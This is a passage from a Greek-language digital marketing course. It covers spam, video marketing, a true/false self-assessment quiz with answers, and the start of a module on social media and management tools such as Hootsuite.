Matejka18 , είναι: α) η ιδιαίτερη φύση του μηνύματος και η ικανότητά του να επηρεάσει αρνητικά την υποδομή του δικτύου, β) η συλλογική φύση της διανομής του μηνύματος και γ) η απουσία ηθικών ή αντικειμενικών λόγων για τη διανομή του μηνύματος. Ως εκ τούτου, σε γενικό επίπεδο, το spam ή spamming βασίζεται στην κατάχρηση λειτουργικών μηχανισμών διανομής που είχαν αρχικά δημιουργηθεί για σκοπούς άλλους από αυτούς για τους οποίους αναπτύχθηκαν ή λειτουργούν. Το spamming εντέλει μπορεί να οριστεί ως η συλλογική διανομή µη ζητηθέντων µηνυµάτων (που περιέχουν τόσο κείµενα όσο και συνηµµένα αρχεία), η οποία ξεκινά μονομερώς, επιδιώκει αποκλειστικά μονομερή συμφέροντα, επιβάλλεται σε άλλα πρόσωπα, συχνά ακόμη και παρά τη σαφή διαφωνία τους, και χρησιμοποιεί τη συλλογική μέθοδο χρηματοδότησης, υποβάλλοντας άλλους στο κόστος των μονομερώς επωφελών δραστηριοτήτων. Την ελάχιστη προστασία απέναντι στα επικίνδυνα ανεπιθύμητα μηνύματα που περιέχουν κακόβουλο λογισμικό (viruses και malware) και στις αθέμιτες τεχνικές ηλεκτρονικού ψαρέματος (phishing) 19 που μπορεί να αποβούν εξαιρετικά δαπανηρά για τους αποδέκτες των μηνυμάτων (όπως και για τους ίδιους τους παρόχους ηλεκτρονικού ταχυδρομείου) μπορούν να παρέχουν τα φίλτρα προστασίας20 . Αδιαμφισβήτητη είναι πάντως η ανάγκη παροχής εγγυήσεων κατά τη διείσδυση στην ιδιωτική ζωή των αποδεκτών μηνυμάτων εμπορικής προώθησης και απολύτως δικαιολογημένη η απαίτηση να επιτυγχάνεται εκ των προτέρων και ρητά η συγκατάθεση των αποδεκτών, προτού δηλαδή λάβουν τα εν λόγω μηνύματα, των οποίων ο όγκος είναι πιθανόν να προξενήσει δυσχέρειες στα δίκτυα και στον τερματικό εξοπλισμό ηλεκτρονικών επικοινωνιών.

Video Marketing Το Video Marketing είναι η χρήση βίντεο στην προώθηση του brand, των προϊόντων ή των υπηρεσιών σας. Μια ισχυρή εκστρατεία marketing ενσωματώνει videos στη στρατηγική της. Μαρτυρίες πελατών, ζωντανές εκδηλώσεις, “Πως-να” videos, επεξηγηματικά videos, εταιρικά εκπαιδευτικά videos, viral videos και πάει λέγοντας. Το video marketing εστιάζει στη βελτίωση της αναγνωρισιμότητας της επωνυμίας, των ποσοστών μετατροπών και των εσόδων της εταιρείας. Επιτυγχάνει αυτούς τους στόχους δημιουργώντας πολύτιμο, υψηλής ποιότητας περιεχόμενο για τους χρήστες. Αυτή η στρατηγική, όπως η βελτιστοποίηση φωνητικής αναζήτησης, προσελκύει επίσης τις τρέχουσες συμπεριφορές των χρηστών. Για παράδειγμα, οι ενήλικες περνούν έως και πέντε ώρες την ημέρα παρακολουθώντας βίντεο. Η αναγνωρισιμότητα της επωνυμίας αυξάνεται κατά σχεδόν 140 τοις εκατό εφόσον ένας χρήστης παρακολουθήσει ένα βίντεο, είτε πρόκειται για ανακοίνωση προϊόντος, είτε οδηγίες, είτε μια ενημέρωση για μια εκδήλωση. Τι είναι το conversion Ένα conversion (μετατροπή στα ελληνικά), συμβαίνει όταν ένας επισκέπτης στον ιστότοπο σας ολοκληρώσει έναν επιθυμητό στόχο. Το ποσοστό των συνολικών επισκεπτών που ολοκληρώνουν τον στόχο ονομάζεται Conversion Rate (ποσοστό μετατροπής). Ενδεικτικοί στόχοι: - Online πώληση - Εγγραφή στο Newsletter σου - Συμπλήρωση κάποιας φόρμας - Επικοινωνία με την εταιρεία κ.α. Πλεονεκτήματα Video Marketing 1. Αύξηση Απήχησης & Αλληλεπίδρασης H δύναμη ενός video λοιπόν είναι τόσο μεγάλη, διότι μπορεί μέσα σε λίγα μόλις δευτερόλεπτα να αναδείξει ένα προϊόν ή υπηρεσία καθώς και τα ανταγωνιστικά πλεονεκτήματά τους. Το ίδιο φυσικά ισχύει, αν επιθυμείτε να αναδείξετε την ταυτότητα του brand σας, αφού μέσα από ένα video μπορείτε να παρουσιάσετε τη φιλοσοφία και τις αρχές σας.

Μπορείτε να σκεφτείτε πόσες φορές παρακολουθήσατε ένα video στο YouTube για την προβολή ενός προϊόντος που σας ενδιαφέρει; Μπορείτε να απαντήσετε στον εαυτό σας πόσο συχνά σας κεντρίζει το ενδιαφέρον ένα video στο Facebook; Το μυαλό του ανθρώπου έχει σχεδιαστεί, ώστε να λαμβάνει πληροφορίες από πηγές, όπως η όραση και η ακοή. Οπότε το περιεχόμενο που συνδυάζει και τις δύο αισθήσεις είναι πιο πιθανό να ενθουσιάσει τον χρήστη και να τον παροτρύνει ενδεχομένως να σχολιάσει και να το μοιραστεί με τους διαδικτυακούς του φίλους. Είναι χαρακτηριστικό πως τα video σε πλατφόρμες κοινωνικής δικτύωσης λαμβάνουν 1200% περισσότερες κοινοποιήσεις (shares) απ’ ότι κείμενα και εικόνες μαζί. 2. Ενίσχυση Πωλήσεων και Conversions Το βίντεο διευκολύνει τους πελάτες να επικοινωνήσουν απευθείας. Πολλοί πελάτες είναι πιο δεκτικοί στο βίντεο απ’ ότι σε άλλες μορφές marketing. Αυτό αυξάνει σημαντικά τις πιθανότητες να προβούν σε αγορά. Υπάρχουν 144% περισσότερες πιθανότητες να πραγματοποιήσει κάποιος μια αγορά μετά την προβολή ενός video. Όχι μόνο αυτό, το 74% των πελατών που είχαν δει ένα video για ένα προϊόν/υπηρεσία, το αγόρασαν αμέσως μετά την παρακολούθηση. 3. Βελτίωση ROI (Return On Investment) Μπορεί να έχετε την εντύπωση πως ένα video πρέπει να είναι μια υπερπαραγωγή και να έχει εντυπωσιακά εφέ. Ωστόσο ένα video καθίσταται αποτελεσματικό, όταν αυτό είναι λιτό μα σωστά σχεδιασμένο, παρέχοντας τις απαραίτητες για τους χρήστες πληροφορίες, μέσα σε σύντομο χρονικό διάστημα. Είναι άξιο αναφοράς πως πάνω από το 70% των επιχειρήσεων, που έχουν επενδύσει στο video marketing, θεωρεί πως αυτή η τεχνική προσφέρει πολύ υψηλό R.O.I. Δηλαδή η επιχείρηση κερδίζει περισσότερα χρήματα από αυτά που διαθέτει για το video marketing, σε σύγκριση με άλλες μορφές προώθησης. 4. Eνδυνάμωση Εμπιστοσύνης Βέβαια, ένας από τους βασικότερους στόχους σας θα πρέπει να είναι το χτίσιμο εμπιστοσύνης με τους πελάτες. Τα video σας δεν θα πρέπει να έχουν συνεχώς πωλησιακό χαρακτήρα, αλλά θα πρέπει συχνά να είναι φιλικά προς τον χρήστη, να παρέχουν χρήσιμες πληροφορίες αφήνοντας φυσικά το αποτύπωμα του brand σας με περίτεχνο τρόπο. Θα μπορέσετε με αυτό τον τρόπο λοιπόν να δημιουργήσετε σχέσεις εμπιστοσύνης με τους πελάτες σας, επενδύοντας σε αυτούς και αυτοί με την σειρά τους θα δείξουν έμπρακτα την προτίμησή τους σε εσάς και την επιχείρησή σας.

5. Ενίσχυση του S.E.O. (Search Engine Optimization) Ένα ακόμη πλεονέκτημα της χρήσης του video marketing είναι η συμβολή του στο SEO, την υψηλή δηλαδή κατάταξη του website στα οργανικά αποτελέσματα αναζήτησης. Οι μηχανές αναζήτησης της Google κρίνουν το video ως υψηλής αξίας περιεχόμενο, διότι αυτό τείνει να κρατάει τον επισκέπτη περισσότερη ώρα στο εκάστοτε site. Σύμφωνα με έρευνα που έχει εκπονηθεί, το website σας θα έχει θεαματικά περισσότερες πιθανότητες να καταταχθεί ψηλά στα αποτελέσματα αναζήτησης, εάν υπάρχει στην αρχική σελίδα του ένα video. Επιπλέον, σημαντικό ρολό παίζει το να έχετε ανεβάσει πρώτα το video στην δεύτερη μεγαλύτερη πλατφόρμα αναζήτησης στον κόσμο, το YouTube φυσικά. Πάντα φυσικά με τον κατάλληλο τίτλο, περιγραφή και λέξεις κλειδιά, ώστε να είναι στοχευμένο και αποτελεσματικό. 6. Η Google ανταμείβει την χρήση Video Οι ιστότοποι που διαθέτουν βίντεο είναι 53 φορές πιο πιθανό να αποκτήσουν τις πρώτες θέσεις στα αποτελέσματα αναζήτησης της Google. Τι είναι αυτό που κάνει το βίντεο να αρέσει τόσο πολύ Google; Οι επισκέπτες που μένουν στην ιστοσελίδα σας, ξοδεύουν περισσότερο χρόνο για να παρακολουθήσουν ένα βίντεο σε αυτή. Αυτό για την Google σημαίνει ότι προσφέρετε κάτι πολύτιμο για τον αναγνώστη. Η Google γνωρίζει ότι τα βίντεο ιντριγκάρουν τους πελάτες, οπότε ανταμείβει τους ιστότοπους με αυτόν τον τύπο περιεχομένου. Η Google κατέχει το YouTube, πράγμα που σημαίνει ότι έχει μεγαλύτερο ενδιαφέρον από ποτέ να σας ανταμείψει αν το χρησιμοποιείτε. 7. Λύσιμο αποριών και ενδοιασμών Έχετε ένα νέο προϊόν; Μια νέα υπηρεσία που οι πελάτες δεν κατανοούν πλήρως; Μέσω ενός βίντεο, μπορείτε να εξηγήσετε με ακρίβεια, από το πώς μια υπηρεσία μπορεί να ωφελήσει τους πελάτες σας, μέχρι πώς ακριβώς χρησιμοποιείται ένα προϊόν. Το βίντεο σας βοηθάει να μειώσετε τη σύγχυση των καταναλωτών, γεγονός που με τη σειρά του οδηγεί σε υψηλότερα ποσοστά πωλήσεων. Οι καταναλωτές θα αγοράσουν αυτό που γνωρίζουν καλύτερα, αυτό για το οποίο έχουν περισσότερες πληροφορίες, αυτό που εμπιστεύονται περισσότερο. 8. Τεχνολογικό πλεονέκτημα Οι χρήστες κινητών συσκευών, προτιμούν τα βίντεο, ειδικά αν είναι βελτιστοποιημένα ώστε να μπορούν να τα παρακολουθούν οπουδήποτε. Είναι πιο εύκολο και γρήγορο να δεις ένα

3λεπτο βίντεο απ’ το να διαβάσεις ένα άρθρο 500 λέξεων στο κινητό. Το Facebook για παράδειγμα δίνει προτεραιότητα στο βίντεο όταν αποφασίζει τι θα εμφανιστεί στο news feed του κάθε χρήστη. Και η μελλοντική τεχνολογία πιθανότατα θα δίνει μεγαλύτερη έμφαση στο βίντεο.

Σύνοψη Εκπαιδευτικής Ενότητας 10 Στην ενότητα 10, παρουσιάστηκαν αντικείμενα που αναφέρονται: Εισαγωγή στο Digital Marketing, Affiliate Marketing, Mobile Marketing, content Marketing, Email Marketing, Video Marketing.

Ερωτήσεις Αυτοαξιολόγησης Εκπαιδευτικής Ενότητας 10 Επιλέξτε τη σωστή απάντηση στις παρακάτω ερωτήσεις / διατυπώσεις ΕΡΩΤΗΣΗ

1

Το digital marketing σχετίζεται με την υλοποίηση της ήδη υπάρχουσας

στρατηγικής marketing με τη διαφορά ότι αυτή επιτυγχάνεται μέσω ενός ή περισσότερων ηλεκτρονικών μέσων.

ΑΠΑΝΤΗΣΗ 1

ΕΡΩΤΗΣΗ

2

Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

Σήμερα, το digital marketing είναι τόσο διαδεδομένο που θεωρείται

βασικό πυλώνα στο business plan των εταιρειών. ΑΠΑΝΤΗΣΗ 2

ΕΡΩΤΗΣΗ

3

ΑΠΑΝΤΗΣΗ 3

Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

Το κόστος που απαιτείται για το digital marketing είναι υψηλό.

Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

ΕΡΩΤΗΣΗ

4

Με τον όρο Social Μedia αναφερόμαστε σε μία αλληλεπίδραση

ανθρώπων μέσω διαδικτυακών εφαρμογών.

ΑΠΑΝΤΗΣΗ 4

ΕΡΩΤΗΣΗ

5

Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

Affiliate Marketing είναι ο κλάδος του marketing που στηρίζεται στη

λογική της κατανομής των κερδών σε όσους προωθούν ένα προϊόν ή μια υπηρεσία. ΑΠΑΝΤΗΣΗ 5

ΕΡΩΤΗΣΗ

6

Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

Διαφημιζόμενος στο Affiliate Marketing είναι μόνον μια εταιρεία που

διατηρεί ιστοσελίδα, στην οποία ο επισκέπτης/χρήστης μπορεί να πραγματοποιήσει κάποιου είδους ενέργεια. ΑΠΑΝΤΗΣΗ 6

ΕΡΩΤΗΣΗ

7

Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

Το Mobile Marketing είναι ένα είδος προσωπικής και άμεσης

επικοινωνίας, το οποίο χρησιμοποιεί τη γραπτή επικοινωνία για την πραγμάτωση του.

ΑΠΑΝΤΗΣΗ 7

ΕΡΩΤΗΣΗ

8

ΑΠΑΝΤΗΣΗ 8

ΕΡΩΤΗΣΗ

9

Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

Το Mobile Marketing έχει το υψηλότερο κόστος διαφήμισης. Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

Το Mobile Marketing είναι απαραίτητα ένας ανεξάρτητος δίαυλος

επικοινωνίας.

ΑΠΑΝΤΗΣΗ 9

Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

ΕΡΩΤΗΣΗ 10

Το «Bluetooth Marketing» ή αλλιώς «Proximity Marketing» αποτελεί ένα

είδος Mobile Marketing. ΑΠΑΝΤΗΣΗ 10

Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

Απαντήσεις Ερωτήσεων Αυτοαξιολόγησης Εκπαιδευτικής Ενότητας 10 1:

Απάντηση 1. A

2:

Απάντηση 2. Α

3:

Απάντηση 3. Β

4:

Απάντηση 4. Α

5:

Απάντηση 5. Α

6:

Απάντηση 6. Β

7:

Απάντηση 7. Α

8:

Απάντηση 8. Β

9:

Απάντηση 9. Β

10:

Απάντηση 10. Α

ΕΚΠΑΙΔΕΥΤΙΚΗ ΕΝΟΤΗΤΑ 11: Μέσα Κοινωνικής δικτύωσης ΣΚΟΠΟΣ Σκοπός αυτής της εκπαιδευτικής ενότητας είναι η παρουσίαση αντικειμένων που αφορούν: Γενικά Στοιχεία Social Media και τα κυριότερα SOCIAL MEDIA ΠΡΟΣΔΟΚΩΜΕΝΑ ΑΠΟΤΕΛΕΣΜΑΤΑ Όταν ολοκληρώσετε τη μελέτη του υλικού αυτής της εκπαιδευτικής ενότητας θα έχετε αποκτήσει γνώσεις και δεξιότητες που αναφέρονται: Γενικά στοιχεία των social Media Social Media και E-Commerce Facebook Twitter Instagram LinkedIn Pinterest Youtube TikTok ΕΝΝΟΙΕΣ – ΚΛΕΙΔΙΑ SOCIAL MEDIA, Facebook, Twitter, Instagram, LinkedIn, Pinterest, Youtube, TikTok. Εκπαιδευτική Υποενότητα 11.1 Γενικά Στοιχεία Social Media Business Social Media Οι επιχειρήσεις, όπως ήδη έχουμε αναφέρει, παρακολουθούν και παρατηρούν την συμπεριφορά των καταναλωτών και μέσω αυτής, μπορούν να μετρήσουν και να ποσοτικοποιήσουν τον τρόπο αλλά και τον αντίκτυπο της αλληλεπίδρασης των χρηστών/καταναλωτών και τέλος να συμπεράνουν το αποτέλεσμα της καταναλωτικής συμπεριφοράς στα social media σε όλες τις πτυχές της επιχείρησης. Η στρατηγική μέτρησης των social media βασίζεται σε πέντε στάδια: 1. Ιδέα 2. Καθορισμός 3. Σχεδιασμός 4. Ανάπτυξη 5. Βελτιστοποίηση

Πιο συγκεκριμένα, ο καθορισμός της στρατηγικής των social media, ο οποίος αποτελεί κύριο παράγοντα για την επίτευξη των στόχων, αφορά τον τρόπο με τον οποίο οι κοινωνικές πλατφόρμες μπορούν να αξιοποιηθούν, έτσι ώστε να καταστεί δυνατή η επικοινωνία με το κοινό στόχο. Για αυτό το λόγο, είναι απαραίτητη η καταγραφή συγκεκριμένων κρίσιμων ερωτήσεων με στόχο τον προσδιορισμό της απόδοσης του προγράμματος και να εντοπιστούν τα Social Media που επηρεάζουν σημαντικά τους βασικούς δείκτες απόδοσης. Επίσης, θα πρέπει να προσδιοριστεί η προσέγγιση η οποία είναι κατάλληλη για τη βελτιστοποίηση των ενεργειών και να προσδιοριστεί επίσης η συχνότητα με την οποία θα εκτιμάται η απόδοση και το χρονοδιάγραμμα πάνω στο οποίο θα βασίζεται η διαδικασία βελτίωσης του προγράμματος. Social Media Management tools Η παρουσία μιας επιχείρησης στα Social Media, απαιτεί προγραμματισμό και οργάνωση αφού σχετίζεται με ένα μεγάλο αριθμό επαφών από διαφορετικές τοποθεσίες και πλατφόρμες. Για αυτό το λόγο, υπάρχουν τα Social Media Management Tools (Εργαλεία Κεντρικής Διαχείρισης) τα οποία βοηθούν στην οργάνωση των συνομιλιών και των επαφών με στόχο την εξοικονόμηση χρόνου και την απλοποίηση στην επικοινωνία. Τα προγράμματα αυτά, εμφανίζονται να μοιάζουν με αυτά του CRM, αλλά στην πραγματικότητα καλύπτουν διαφορετικές ανάγκες και προσφέρουν διαφορετικές παροχές. Γενικός στόχος των δύο κατηγοριών των εργαλείων είναι η απλοποίηση των εργασιών και η εξοικονόμηση χρόνου των επιχειρήσεων. Όμως, ενώ τα προγράμματα του Social CRM ειδικεύονται στην κατηγοριοποίηση και στη συγκέντρωση όλων των πελατών επαφών, τα Social Media Management προγράμματα παρέχουν τη δυνατότητα να συγκεντρώνουν όλους τους λογαριασμούς που μπορεί να έχει κάποιος στα Social Media σε μια κοινή βάση και αποτελούν μέσο για τη διαχείριση αυτών, μέσα από τη χρήση συγκεκριμένης βάσης. Υπάρχουν δυο εργαλεία Κεντρικής Διαχείρισης που συνδυάζουν καλύτερη σχέση τιμής και απόδοσης. Το πρώτο πρόγραμμα είναι το Postling το οποίο είναι μια δημοφιλής πλατφόρμα διαχείρισης των λογαριασμών Social Media με χαρακτήρα web-based. Καλύπτει ένα μεγάλο αριθμό Social Media πλατφορμών και blogs και επίσης συγκεντρώνει δεδομένα από διάφορες ιστοσελίδες αξιολόγησης υπηρεσιών όπως για παράδειγμα το «Υelp» και το «Trip Advisor». Επιπλέον, το συγκεκριμένο εργαλείο επιτρέπει την μεταφόρτωση, βίντεο, φωτογραφιών αλλά και κειμένων σε όλες τις πλατφόρμες, παρέχοντας ενοποιημένο φάκελο μηνυμάτων ενώ παράλληλα δίνει τη δυνατότητα στο χρήστη να προγραμματίσει ενέργειες στα Social Media.

Το μειονέκτημά του σχετίζεται με το γεγονός, ότι το λειτουργικό του σύστημα συλλογής στατιστικών δεδομένων (analytics) δεν έχει τη δυνατότητα να αποθηκεύει μεγάλο αριθμό δεδομένων και μηνυμάτων. Αυτό έχει ως αποτέλεσμα να μην μπορούν να πραγματοποιηθούν αξιόπιστες και ακριβείς συγκρίσεις σε τακτά χρονικά διαστήματα. Το δεύτερο εργαλείο που ονομάζεται HootSuite είναι μια βάση Web-Based, δηλαδή δεν είναι ένα πρόγραμμα που λειτουργεί μέσω εγκατάστασης αλλά η χρήση του πραγματοποιείται μέσω της ιστοσελίδας του μέσα από τη δημιουργία ενός λογαριασμού. Το Hootsuite είναι το πιο προσιτό και δημοφιλές εργαλείο το οποίο χρησιμοποιείται πολύ συχνά από την πλειοψηφία των επιχειρήσεων παγκοσμίως ανεξαρτήτως δραστηριότητας και μεγέθους. Το HootSuite δίνει τη δυνατότητα στο χρήστη να ελέγχει κάθε στιγμή τι συμβαίνει στα διάφορα Social Networks. Το βασικό χαρακτηριστικό του είναι ότι δίνει τη δυνατότητα στο χρήστη να παρακολουθεί και να διαχειρίζεται όλους τους Social Media λογαριασμούς που μπορεί να διαθέτει μέσα από μια κοινή οθόνη (interface). Πρακτικά αυτό σημαίνει πως ο χρήστης δε χρειάζεται να συνδέεται κάθε φορά σε διαφορετικό λογαριασμό για να ελέγξει τα μηνύματά του, να τα διαχειριστεί, να απαντήσει σε αυτά ή και ακόμα να δημοσιεύσει πληροφορίες και να επικοινωνήσει με τους άλλους χρήστες. Επιπλέον, το HootSuite μπορεί να χρησιμοποιηθεί και ως μηχανή αναζήτησης μέσα στα διάφορα Social Media παρουσιάζοντας κάθε στιγμή τη δραστηριότητα και την κίνηση γύρω από μια λέξη κλειδί. Το HootSuite είναι διαθέσιμο σε δωρεάν και σε έκδοση επί πληρωμή. Οι παροχές της δωρεάν έκδοσης μπορούν να καλύψουν πλήρως τις απαιτήσεις μιας μικρομεσαίας επιχείρησης μέσα από τη δημιουργία ενός λογαριασμού ο οποίος μπορεί να πραγματοποιεί τη διαχείριση έως και πέντε διαφορετικών προφίλ. Είναι σαφές πως αυτό το χαρακτηριστικό κάνει το HootSuite ιδιαίτερα δημοφιλές στις μικρομεσαίες επιχειρήσεις. Από την άλλη πλευρά, η επί πληρωμή έκδοσή του (Εnterprise) διαθέτει κάποια παραπάνω χαρακτηριστικά με σκοπό να καλύψει μεγαλύτερες επιχειρήσεις και κοστίζει 10$ τον μήνα, το οποίο είναι ένα μικρό ποσό σε σχέση με τις παροχές που διαθέτει. Τεχνικές έρευνας και προώθησης Οι εταιρείες σε ποικίλες βιομηχανίες όπως η φιλοξενία, τα ταξίδια και ο τουρισμός, οι τραπεζικές και χρηματοπιστωτικές υπηρεσίες, οι επιστήμες της ζωής, τα προϊόντα λιανικής και τα καταναλωτικά προϊόντα, οι αεροπορικές εταιρείες, τα αυτοκίνητα, η μόδα, η

εκπαίδευση και πολλά άλλα διερευνούν τα κοινωνικά μέσα για να εκμεταλλευτούν ευκαιρίες στην έρευνα αγοράς. Εξετάζουν επίσης τη δημιουργία εμπορικών σημάτων, την προώθηση προϊόντων, την ανάπτυξη προϊόντων, την εξυπηρέτηση πελατών, τη συνεργασία με τα ενδιαφερόμενα μέρη, την συμμετοχή των εργαζομένων, την πρόσληψη κλπ. Τα τελευταία χρόνια ένας αυξανόμενος αριθμός ινδικών εταιρειών στρέφεται προς τα κοινωνικά μέσα, προσπαθώντας να προσεγγίσουν τους πελάτες τους με μικρότερο κόστος στον προϋπολογισμό του marketing. Οι ινδικές εταιρείες δεν είναι καινούργιες στον εικονικό κόσμο. Τα κοινωνικά μέσα έχουν γίνει ένα ισχυρό εργαλείο για τις επιχειρήσεις ανά τον κόσμο. Μια μελέτη των Burson-Marsteller του 2010 έδειξε ότι από τις 100 εταιρείες του Fortune Global το 65% είναι ενεργές. Οι επιχειρήσεις που υιοθετούν μια πιο επιθετική στρατηγική στα social media ως μέρος της γενικότερης στρατηγικής τους είναι πιο οικονομικά επιτυχημένες. Από τις εταιρείες Fortune Global 100, το 65% έχει ενεργούς λογαριασμούς στο Twitter, το 54% έχει σελίδες οπαδών στο Facebook, το 50% έχει κανάλια στο YouTube και το 33% έχει εταιρικά blogs. Οι επιχειρήσεις χρησιμοποιούν τα μέσα κοινωνικής δικτύωσης σε πολλούς λειτουργικούς τομείς της επιχείρησης και απολαμβάνουν πολυάριθμα απτά οφέλη, όπως αύξηση της αναγνωρισιμότητας του εμπορικού σήματος, πωλήσεις, βελτιστοποίηση μηχανών αναζήτησης (SEO), web traffic, ικανοποίηση πελατών και έσοδα. Επιπλέον, το γρήγορο feedback και η διαδραστικότητα από τους καταναλωτές παρέχουν έναν μηχανισμό για τα στελέχη, ώστε να αξιολογούν την γνώμη των καταναλωτών και να χρησιμοποιούν αυτές τις πληροφορίες για τη βελτίωση των προϊόντων, την εξυπηρέτηση και την καλύτερη κατανόηση των αναγκών των πελατών. Οι επιχειρήσεις ανακάλυψαν επίσης ότι είναι σε θέση να “παρακολουθούν” την αγορά, τον ανταγωνισμό και τους πελάτες τους μέσω των κοινωνικών μέσων ενημέρωσης. Αυτό επιτρέπει στις εμπλεκόμενες επιχειρήσεις να είναι πάνω από τις αλλαγές που ενδεχομένως χρειάζονται ώστε να είναι σε θέση να προβούν άμεσα σε κατάλληλες προσαρμογές των στρατηγικών, των προϊόντων ή των υπηρεσιών. Η δυνατότητα αναζήτησης και επικοινωνίας με πιθανούς υπαλλήλους είναι ένας άλλος τομέας που έχει παρουσιάσει μεγάλη βελτίωση μέσω διάφορων sites, όπως το LinkedIn και το Plaxo. Δεδομένης της ευκολίας χρήσης και μέτρησης και της ικανότητάς του να προσεγγίζουν σχεδόν άμεσα τους μεγάλους πληθυσμούς, τα κοινωνικά μέσα καθίστανται ισχυρή δύναμη στον

τρόπο με τον οποίο οι επιχειρήσεις προσεγγίζουν, προσελκύουν και εμπλέκουν τους πελάτες, τους υπαλλήλους και άλλους ενδιαφερόμενους. Ο Chen. S. (2001) στο άρθρο του «Αξιολόγηση του αντίκτυπου του Διαδικτύου στο εμπορικό σήμα», εκτιμά τον ισχυρισμό ότι το ηλεκτρονικό εμπόριο θα σημάνει το τέλος της διαχείρισης του εμπορικού σήματος όπως το γνωρίζουμε. Τα στοιχεία από μελέτες αγοράς επανεξετάζονται και στο έγγραφο εντοπίζονται ορισμένοι βασικοί παράγοντες που καθιστούν το σενάριο αυτό απίθανο. Πρώτον, το αποτέλεσμα εξαρτάται από πολλούς άλλους παράγοντες, όπως ο τύπος του προϊόντος και ο τύπος της αγοράς. Τα εμπορικά σήματα εξυπηρετούν διαφορετικό ρόλο σε κάθε μία από αυτές τις περιπτώσεις και ο αντίκτυπος του Διαδικτύου ποικίλλει ανάλογα με τον ρόλο που παίζει το εμπορικό σήμα. Δεύτερον, υπάρχουν πολλές τεχνολογίες Διαδικτύου που επηρεάζουν τα εμπορικά σήματα με διάφορους τρόπους. Τρίτον, το Διαδίκτυο οδηγεί σε μερικά δευτερεύοντα αποτελέσματα στις δομές της αγοράς που επηρεάζουν με τη σειρά τους το εμπορικό σήμα. Ο συνδυασμός αυτών των παραγόντων, παρότι δεν οδηγεί στο “θάνατο” της διαχείρισης του εμπορικού σήματος, σε πολλές περιπτώσεις θα οδηγήσει σε βελτίωση του ρόλου αυτής. Οι Corcoran-Cate (2009) στο βιβλίο τους «Τα εμπορικά σήματα αποσκοπούν στην προσαρμογή στον κόσμο των social media», σχετικά με τη χρήση των κοινωνικών μέσων από τα εμπορικά σήματα και τους λιανοπωλητές στις Η.Π.Α., αναφέρουν ότι τα μικρότερα και μεγαλύτερα εμπορικά σήματα καθώς και οι λιανοπωλητές αγκαλιάζουν τα κοινωνικά μέσα και τα χρησιμοποιούν για την ενίσχυση των πωλήσεων και της αναγνωρισιμότητας της επωνυμίας τους. Ο Dutta Soumitra στο άρθρο του σχετικά με τη στρατηγική των κοινωνικών μέσων ενημέρωσης στο Harvard Business Review αναφέρει ότι τα κοινωνικά μέσα αλλάζουν τον τρόπο με τον οποίο δραστηριοποιούμαστε και τον τρόπο με τον οποίο οι ηγέτες γίνονται αντιληπτοί. Όμως, ενώ οι καλύτερες επιχειρήσεις δημιουργούν συνολικές στρατηγικές στον τομέα αυτό, η έρευνα δείχνει ότι λίγοι ηγέτες των εταιρειών έχουν μια κοινωνική παρουσία μέσων. Οι σημερινοί ηγέτες πρέπει να αγκαλιάσουν τα κοινωνικά μέσα για τρεις λόγους. Πρώτον, παρέχουν μια πλατφόρμα χαμηλού κόστους, ιδιαίτερα προσιτή, πάνω στην οποία μπορεί να οικοδομηθεί ένα brand name, και επίσης παρέχουν την δυνατότητα της άμεσης επικοινωνίας με το κοινό καθώς και άμεσης πληροφόρησης τόσο του κοινού για την ίδια την εταιρεία όσο και της εταιρείας για τα ενδιαφέροντα και τις ανάγκες του κόσμου. Δεύτερον,

επιτρέπουν την ταχεία και ταυτόχρονη συνεργασία με τους συνομηλίκους, τους εργαζόμενους, τους πελάτες και το ευρύτερο κοινό, προκειμένου να εκμεταλλευτούν τις σχέσεις, να δείξουν τη δέσμευσή τους και να επιδείξουν ικανότητα γρήγορης ανταπόκρισης. Τέλος, ο Aula Pekka, στο άρθρο του, επικεντρώνεται στην απειλή και τον κίνδυνο των κοινωνικών μέσων ενημέρωσης για τη φήμη των επιχειρήσεων. Αναφέρει παραδείγματα γεγονότων όπου εμπλέκεται η επιρροή των κοινωνικών μέσων ενημέρωσης και πώς η δημοσιότητα μπορεί να επηρεάσει αρνητικά τη φήμη μιας εταιρείας.

Social Media και E-commerce Οι αλλαγές στη συμπεριφορά των καταναλωτών απαιτούν από τις επιχειρήσεις να επανεξετάσουν τις στρατηγικές marketing στον ψηφιακό τομέα. Η δεύτερη γενιά εφαρμογών με βάση το Διαδίκτυο ενισχύει τις προσπάθειες marketing, επιτρέποντας στις επιχειρήσεις να εφαρμόζουν καινοτόμες μορφές επικοινωνίας και να συν-δημιουργούν περιεχόμενο με τους πελάτες τους. Οι επιχειρήσεις αντιμετωπίζουν εσωτερικές και εξωτερικές πιέσεις για να υιοθετήσουν ψηφιακή παρουσία στις πλατφόρμες κοινωνικών μέσων. Η εμπλοκή του ψηφιακού marketing των εταιρειών μπορεί να κατηγοριοποιηθεί ανάλογα με τα οφέλη που προκύπτουν και τη χρήση του ψηφιακού marketing. Για να βελτιωθεί η συμβολή του ψηφιακού marketing, οι έμποροι πρέπει να επικεντρωθούν στις αλληλεπιδράσεις που βασίζονται στη σχέση με τους πελάτες τους. Αυξανόμενη Ψηφιακή Χειραφέτηση Μία από τις μεγαλύτερες αλλαγές στην ανθρώπινη αλληλεπίδραση είναι ο πρόσφατος πολλαπλασιασμός των διαδικτυακών κοινωνικών δικτύων. Η ταχεία ανάπτυξη διαδικτυακών πλατφορμών οι οποίες διευκολύνουν την κοινωνική συμπεριφορά σε απευθείας σύνδεση (online), έχει τροποποιήσει σημαντικά τη φύση των ανθρώπινων δραστηριοτήτων, συνηθειών και αλληλεπιδράσεων. Οι κοινωνικές σχέσεις του πραγματικού κόσμου έχουν μεταφερθεί στον εικονικό κόσμο, μιας του ότι οι διαδικτυακές κοινότητες μπορούν να συνδέσουν ανθρώπους από όλο τον κόσμο. Αυτή η κίνηση στην ψηφιακή διάσταση επιτρέπει στα άτομα να μοιράζονται τη γνώση, να αλληλοεπιδρούν μεταξύ τους και να προάγουν τον διάλογο μεταξύ διαφορετικών πολιτισμών. Το ερώτημα που τίθεται πλέον δεν είναι αν οι άνθρωποι συνδέονται το ερώτημα 